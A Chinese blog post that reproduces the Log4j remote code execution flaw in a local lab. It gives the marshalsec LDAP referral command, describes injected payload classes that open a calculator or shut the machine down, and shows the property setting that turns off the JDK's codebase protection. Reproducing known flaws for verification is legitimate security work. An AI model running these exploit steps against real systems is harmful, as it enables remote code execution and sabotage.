log4j代码注入漏洞复现
2023-06-13 09:14:28 时间
1.简介
前些天log4j官方宣布的log4j的漏洞闹得沸沸扬扬,各个公司加班升级修复,我们也在周末要求验证版本保证不受影响,既然知道了漏洞,我们就复现一下,比如让被注入文件的电脑关个机
2.工具准备
https://download.csdn.net/download/AnNanDu/64752930
里面包含2份源代码,两个工具类
- log4j-exp:执行被注入代码的客户端服务
- web-goodskill:存放注入文件的http服务
- 启动ldap的两个服务
3.复现步骤
1. 将注入文件放入http服务并启动测试下载
文件web-goodskill里有两份demo注入文件,一份打开计算器,一份执行关机
测试可以通过服务下载文件,这一步就算可以了
2. 启动ladp服务映射注入文件
进入到下载的工具包中,在地址栏直接打cmd进入命令框
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jTest 1389
启动完成后第二步就完成了
3. log4j2执行注入
IDEA打开log4j-exp找到 log4jRCE 类,执行main方法
执行结果:
上面那行输出文字是我们的注入代码里写的输出,证明确实将远程代码执行了
想要执行注入的关机代码放开下一行注释就可以了,需要在上文开启ldap服务的在开启ClearDemo类的端口
本地执行是都可以的,但是在远程客户端执行的时候如果没有这个设置则不会拉取远程代码,这是jdk1.8_u191等几个版本后设置的默认设置,防止ldap注入
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
相关文章
- 刺刀一个漏洞,从子域资产管理系统、资产管理系统、爬升等集成的资产管理系统
- 由于Redis后门漏洞导致服务器被注入挖矿脚本解决过程
- SQL手工注入漏洞测试(Access数据库)
- 渗透测试-Ueditor漏洞捡漏
- redis未授权访问漏洞的三种场景复现以及加固思路
- 远程代码执行Simmeth 系统 SQL 注入漏洞 (CVE-2022-44015)
- 重大供应链威胁!这个 Java 开源框架存在严重漏洞
- 注入利用SQLMap破解MySQL注入漏洞(sqlmapmysql)
- 抛砖引玉——Stagefright漏洞初探
- 新曝WordPress REST API内容注入漏洞详解
- 爱尔兰数万宽带Moderm存在漏洞可被远程入侵控制
- 漏洞预警:Zabbix高危SQL注入漏洞,可获取系统权限
- 黑盒审计之注入漏洞挖掘思路【转】
- MSSQL注入攻击之查询用户名漏洞(mssql注入查用户名)
- MSSQL注入漏洞防范之文件上传安全(mssql注入上传)
- MSSQL注入漏洞破解SA密码实战(mssql注入sa密码)
- 致命的漏洞MySQL万能注入语句一触即发(mysql万能注入语句)
- 传统缓存的漏洞利用Redis缓存有效避免传统缓存漏洞(redis缓存如何处理)
- 微软警告攻击者正肆意利用Windows PrintNightmare漏洞
- PHP代码网站如何防范SQL注入漏洞攻击建议分享